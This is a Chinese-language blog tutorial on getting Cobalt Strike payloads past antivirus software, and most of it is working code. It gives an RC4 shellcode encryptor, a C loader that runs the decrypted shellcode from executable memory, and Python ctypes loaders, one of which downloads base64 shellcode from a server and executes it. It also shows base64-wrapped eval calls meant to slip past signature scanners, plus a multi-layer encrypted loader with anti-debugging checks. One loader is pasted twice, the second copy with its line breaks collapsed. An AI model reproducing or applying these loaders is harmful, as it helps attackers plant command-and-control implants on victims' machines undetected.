CS免杀技巧

Posted on 2024-07-26  22 Views


shellcode混淆加密

选择payload下拉找到payload generator模块选择已经配置好的监听器,使用cs生成c语言的payload,这里注意记住自己使用的是X64还是X86,点击生成

接下来使用python生成一段RC4加密脚本,对CS的pyload进行加密

import sys
from arc4 import ARC4

# 原始的shellcode(示例)
shellcode = (b"这里放CS生成的pyload")

# 密钥
key = b'secretkey'

# 使用ARC4加密
cipher = ARC4(key)
encrypted_shellcode = cipher.encrypt(shellcode)

# 打印加密后的shellcode
print("Encrypted Shellcode:", encrypted_shellcode.hex())

# 将加密后的shellcode保存到文件
with open("encrypted_shellcode.bin", "wb") as f:
f.write(encrypted_shellcode)

上面代码运行之后会在当前文件夹下生成一个bin文件,记住这个文件的位置,这里我把它放到了E盘下面

接着写一段C代码,对加密后的shellcode进行解密并执行,注意后缀是.c,不是.cpp它们是不一样的

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <windows.h>
#pragma comment(linker,"/subsystem:\"windows\" /entry:\"mainCRTStartup\"")
// RC4加密函数
void rc4(unsigned char* data, int data_len, unsigned char* key, int key_len) {
unsigned char S[256];
unsigned char T[256];
unsigned char temp;
int i, j = 0, t, k;

for (i = 0; i < 256; i++) {
S[i] = (unsigned char)i;
T[i] = key[i % key_len];
}

for (i = 0; i < 256; i++) {
j = (j + S[i] + T[i]) % 256;
temp = S[i];
S[i] = S[j];
S[j] = temp;
}

i = j = 0;
for (k = 0; k < data_len; k++) {
i = (i + 1) % 256;
j = (j + S[i]) % 256;
temp = S[i];
S[i] = S[j];
S[j] = temp;
t = (S[i] + S[j]) % 256;
data[k] ^= S[t];
}
}

void print_shellcode(unsigned char* shellcode, int length) {
for (int i = 0; i < length; i++) {
printf("\\x%02x", shellcode[i]);
}
printf("\n");
}

int main() {
FILE* file = fopen("E:\\encrypted_shellcode.bin", "rb");
if (!file) {
printf("无法打开文件。\n");
return 1;
}

fseek(file, 0, SEEK_END);
long file_size = ftell(file);
fseek(file, 0, SEEK_SET);

unsigned char* encrypted_shellcode = (unsigned char*)malloc(file_size);
fread(encrypted_shellcode, 1, file_size, file);
fclose(file);

unsigned char key[] = "secretkey";
int key_len = strlen((char*)key);

// 解密shellcode
printf("解密shellcode...\n");
rc4(encrypted_shellcode, file_size, key, key_len);

// 打印解密后的shellcode
printf("解密后的shellcode:\n");
print_shellcode(encrypted_shellcode, file_size);

// 分配可执行内存
printf("分配可执行内存...\n");
void* exec_mem = VirtualAlloc(0, file_size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (exec_mem == NULL) {
printf("内存分配失败。\n");
free(encrypted_shellcode);
return 1;
}

// 复制解密的shellcode到可执行内存
printf("复制shellcode到可执行内存...\n");
memcpy(exec_mem, encrypted_shellcode, file_size);
free(encrypted_shellcode);

// 执行shellcode
printf("执行shellcode...\n");
((void(*)())exec_mem)();

// 释放内存
printf("释放内存...\n");
VirtualFree(exec_mem, 0, MEM_RELEASE);

return 0;
}

运行之后,本地主机直接就上线了

把生成的exe文件放到虚拟机执行之后一样上线,这样要注意把加密后的shellcode也要放入虚拟机

Python 加载Shellcode

使用CS生成Python类型Shellcode
这里根据自己本地安装的python来决定使用64位还是32位

将生成的Payload中"号中的内容放在加载器里,网上的加载器有很多,这里我提供两种。

加载器1

#!/usr/bin/python
import ctypes
buf = b"pyload放在这里"
shellcode = buf
shellcode = bytearray(shellcode)
# 设置VirtualAlloc返回类型为ctypes.c_uint64
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
# 申请内存,设置VirtualAlloc返回类型为ctypes.c_uint64。64位操作系统返回的地址需要是该类型。
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000), ctypes.c_int(0x40))

# 放入shellcode。开辟一段内存,其中ctypes.c_int(x)是指将x转为C语言中的int类型。ctypes是python中为便于调用windows的c语言接口函数而自带的库。VirtualAlloc函数的细节描述可查看VirtualAlloc。
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)

# 将shellcode放入内存。RtlMoveMemory函数细节同样可查微软的文档。
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(ptr), buf, ctypes.c_int(len(shellcode)))
# 有些杀软会过滤上面字段:可通过base64编码该段代码进行绕过。eval(base64.b64decode("Y3R5cGVzLndpbmRsbC5rZXJuZWwzMi5SdGxNb3ZlTWVtb3J5KAogICAgY3R5cGVzLmNfdWludDY0KHB0ciksIAogICAgYnVmLCAKICAgIGN0eXBlcy5jX2ludChsZW4oc2hlbGxjb2RlKSkKKQ=="))

# 创建线程并开始从shellcode的首地址开始执行,首地址即为申请到的地址ptr。
handle = ctypes.windll.kernel32.CreateThread(
ctypes.c_int(0),
ctypes.c_int(0),
ctypes.c_uint64(ptr),
ctypes.c_int(0),
ctypes.c_int(0),
ctypes.pointer(ctypes.c_int(0))
)

# 等待上面创建的线程运行完
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle),ctypes.c_int(-1))
# 有些杀软会过滤上面字段:可通过base64编码该段代码进行绕过。
# eval(base64.b64decode("Y3R5cGVzLndpbmRsbC5rZXJuZWwzMi5XYWl0Rm9yU2luZ2xlT2JqZWN0KGN0eXBlcy5jX2ludChoYW5kbGUpLGN0eXBlcy5jX2ludCgtMSkp"))


加载器2

import ctypes
import ctypes.wintypes

# Shellcode: 你可以将你的实际shellcode放在这里
shellcode = (b"pyload放在这里")

# 使用VirtualAlloc分配用于shellcode的内存
MEM_COMMIT = 0x1000
PAGE_EXECUTE_READWRITE = 0x40

kernel32 = ctypes.windll.kernel32
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_void_p
shellcode_buffer = kernel32.VirtualAlloc(None, len(shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE)

# 将shellcode复制到分配的缓冲区中
ctypes.memmove(shellcode_buffer, shellcode, len(shellcode))

# 创建一个指向shellcode的ctypes函数指针
shellcode_func = ctypes.CFUNCTYPE(None)(shellcode_buffer)

# 执行shellcode
shellcode_func()

这两个不管使用哪一个,在PyCharm中运行这段代码都会,上线到CS。

远程加载shellcode

上面的代码没有做任何防护,很容易就被杀毒软件识别出来。
下面将介绍1种从远程服务器上加载share code进行上线的方法。

先将CS生成的payload进行一个base 64编码

复制编码后的结果,保存为1.txt,并把它放到自己的服务器上
然后开启一个HTTP服务,在浏览器上访问,试一下

把1.txt的地址放到下面代码里面,之后运行这段代码

远程加载shellcode代码

import ctypes,urllib.request,codecs,base64

# 将生成的Payload中"号中的内容,经过Base64编码后拷贝到远程服务器shellcode.txt中
shellcode = urllib.request.urlopen('http://127.0.0.1:8080/1.txt').read().strip()
shellcode = base64.b64decode(shellcode)

shellcode =codecs.escape_decode(shellcode)[0]

shellcode = bytearray(shellcode)
# 设置VirtualAlloc返回类型为ctypes.c_uint64
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
# 申请内存
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000), ctypes.c_int(0x40))
# 放入shellcode
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)

# 有些杀软会过滤字符:
#`ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(ptr), buf, ctypes.c_int(len(shellcode)))`。可通过base64编码该段代码进行绕过。
eval(base64.b64decode("Y3R5cGVzLndpbmRsbC5rZXJuZWwzMi5SdGxNb3ZlTWVtb3J5KAogICAgY3R5cGVzLmNfdWludDY0KHB0ciksIAogICAgYnVmLCAKICAgIGN0eXBlcy5jX2ludChsZW4oc2hlbGxjb2RlKSkKKQ=="))

# 创建一个线程从shellcode放置位置首地址开始执行
handle = ctypes.windll.kernel32.CreateThread(
ctypes.c_int(0),
ctypes.c_int(0),
ctypes.c_uint64(ptr),
ctypes.c_int(0),
ctypes.c_int(0),
ctypes.pointer(ctypes.c_int(0))
)
# 等待上面创建的线程运行完
# 有些杀软会过滤字符:
#`ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle),ctypes.c_int(-1))`。可通过base64编码该段代码进行绕过。
eval(base64.b64decode("Y3R5cGVzLndpbmRsbC5rZXJuZWwzMi5XYWl0Rm9yU2luZ2xlT2JqZWN0KGN0eXBlcy5jX2ludChoYW5kbGUpLGN0eXBlcy5jX2ludCgtMSkp"))

可以看到代码运行之后成功上线CS。

动态加载字符串混淆上线

这段代码有很多优点,代码里面注释很清楚,每一步都有详细的解释,可随意扩展自己的思路。

加密保护:使用RC4算法对shellcode进行加密,有效防止静态分析和简单的签名检测。
内存分配:通过VirtualAlloc函数分配内存,确保shellcode在执行前被正确加载到内存中。
反调试技术:使用IsDebuggerPresent函数进行简单的反调试检查,防止被调试分析。
内存操作:使用memmove函数将数据移动到正确的内存位置,确保内存操作的正确性和安全性。

import ctypes,urllib.request,codecs,base64# 将生成的Payload中"号中的内容,经过Base64编码后拷贝到远程服务器shellcode.txt中shellcode = urllib.request.urlopen('http://127.0.0.1:8080/1.txt').read().strip()shellcode = base64.b64decode(shellcode)shellcode =codecs.escape_decode(shellcode)[0]shellcode = bytearray(shellcode)# 设置VirtualAlloc返回类型为ctypes.c_uint64ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64# 申请内存ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000), ctypes.c_int(0x40))# 放入shellcodebuf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)# 有些杀软会过滤字符:#`ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(ptr), buf, ctypes.c_int(len(shellcode)))`。可通过base64编码该段代码进行绕过。eval(base64.b64decode("Y3R5cGVzLndpbmRsbC5rZXJuZWwzMi5SdGxNb3ZlTWVtb3J5KAogICAgY3R5cGVzLmNfdWludDY0KHB0ciksIAogICAgYnVmLCAKICAgIGN0eXBlcy5jX2ludChsZW4oc2hlbGxjb2RlKSkKKQ=="))# 创建一个线程从shellcode放置位置首地址开始执行handle = ctypes.windll.kernel32.CreateThread( ctypes.c_int(0), ctypes.c_int(0), ctypes.c_uint64(ptr), ctypes.c_int(0), ctypes.c_int(0), ctypes.pointer(ctypes.c_int(0)))# 等待上面创建的线程运行完# 有些杀软会过滤字符:#`ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle),ctypes.c_int(-1))`。可通过base64编码该段代码进行绕过。eval(base64.b64decode("Y3R5cGVzLndpbmRsbC5rZXJuZWwzMi5XYWl0Rm9yU2luZ2xlT2JqZWN0KGN0eXBlcy5jX2ludChoYW5kbGUpLGN0eXBlcy5jX2ludCgtMSkp"))

多加密反调试混淆上线

多层加密:通过多层RC4加密算法,对shellcode进行多次加密,增加了静态分析和检测的难度,提高了安全性。
动态生成密钥:每次运行时生成不同的RC4密钥,进一步增加了解密的难度和变异性。
反调试机制:使用IsDebuggerPresent函数检测调试器,并检查内存区域以检测可能的断点,增加了反调试的能力。
内存管理:使用VirtualAlloc分配内存,确保shellcode能够正确加载和执行,并在内存中进行解密操作,避免了在磁盘上留下痕迹。
这些优点共同作用,使得这段代码更难被检测和逆向分析,提高了恶意代码的隐蔽性和执行的成功率

import ctypes
import random

# 完整的 Shellcode 示例
shellcode = (b"")

def generate_rc4_key():
"""随机生成一个RC4密钥"""
return bytearray(random.getrandbits(8) for _ in range(16))

def rc4_crypt(data, key):
"""使用RC4算法加密/解密数据"""
S = list(range(256))
j = 0
out = []

# KSA (密钥调度算法)
for i in range(256):
j = (j + S[i] + key[i % len(key)]) % 256
S[i], S[j] = S[j], S[i]

i = j = 0
# PRGA (伪随机生成算法)
for char in data:
i = (i + 1) % 256
j = (j + S[i]) % 256
S[i], S[j] = S[j], S[i]
out.append(char ^ S[(S[i] + S[j]) % 256])

return bytearray(out)

# 多层加密步骤
def multi_layer_encrypt(data):
"""对数据进行多层加密"""
layers = random.randint(2, 5)
keys = []
for _ in range(layers):
key = generate_rc4_key()
data = rc4_crypt(data, key)
keys.append(key)
return data, keys

# 多层解密步骤
def multi_layer_decrypt(data, keys):
"""对数据进行多层解密"""
for key in reversed(keys):
data = rc4_crypt(data, key)
return data

# 加密 shellcode 并获取加密所使用的密钥
encrypted_shellcode, keys = multi_layer_encrypt(shellcode)

# 使用 VirtualAlloc 分配用于 shellcode 和密钥的内存
MEM_COMMIT = 0x1000
PAGE_EXECUTE_READWRITE = 0x40

kernel32 = ctypes.windll.kernel32
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_void_p

# 反调试
is_debugged = kernel32.IsDebuggerPresent()
if is_debugged:
print("检测到调试器")
exit(1)

# 检查内存区域以检测可能的断点(硬件/软件)
for _ in range(5):
protect = ctypes.c_uint32() # 使用 ctypes.c_uint32 而不是 ctypes.wintypes.DWORD
if not kernel32.VirtualProtect(
ctypes.c_void_p(id(is_debugged)), 1, PAGE_EXECUTE_READWRITE, ctypes.byref(protect)
):
print("触发了反调试检测。")
exit(1)

# 为加密的 shellcode 分配缓冲区
shellcode_buffer = kernel32.VirtualAlloc(None, len(encrypted_shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE)
if not shellcode_buffer:
raise MemoryError("分配 shellcode 内存失败。")

ctypes.memmove(ctypes.c_void_p(shellcode_buffer), ctypes.create_string_buffer(bytes(encrypted_shellcode), len(encrypted_shellcode)), len(encrypted_shellcode))

# 在内存中解密 shellcode
decrypted_shellcode = multi_layer_decrypt(encrypted_shellcode, keys)

# 如果有必要,为解密后的 shellcode 重新分配内存
shellcode_exec_buffer = kernel32.VirtualAlloc(None, len(decrypted_shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE)
if not shellcode_exec_buffer:
raise MemoryError("分配解密的 shellcode 内存失败。")

ctypes.memmove(ctypes.c_void_p(shellcode_exec_buffer), ctypes.create_string_buffer(bytes(decrypted_shellcode), len(decrypted_shellcode)), len(decrypted_shellcode))

# 执行解密后的 shellcode
shellcode_func = ctypes.CFUNCTYPE(None)(shellcode_exec_buffer)
shellcode_func()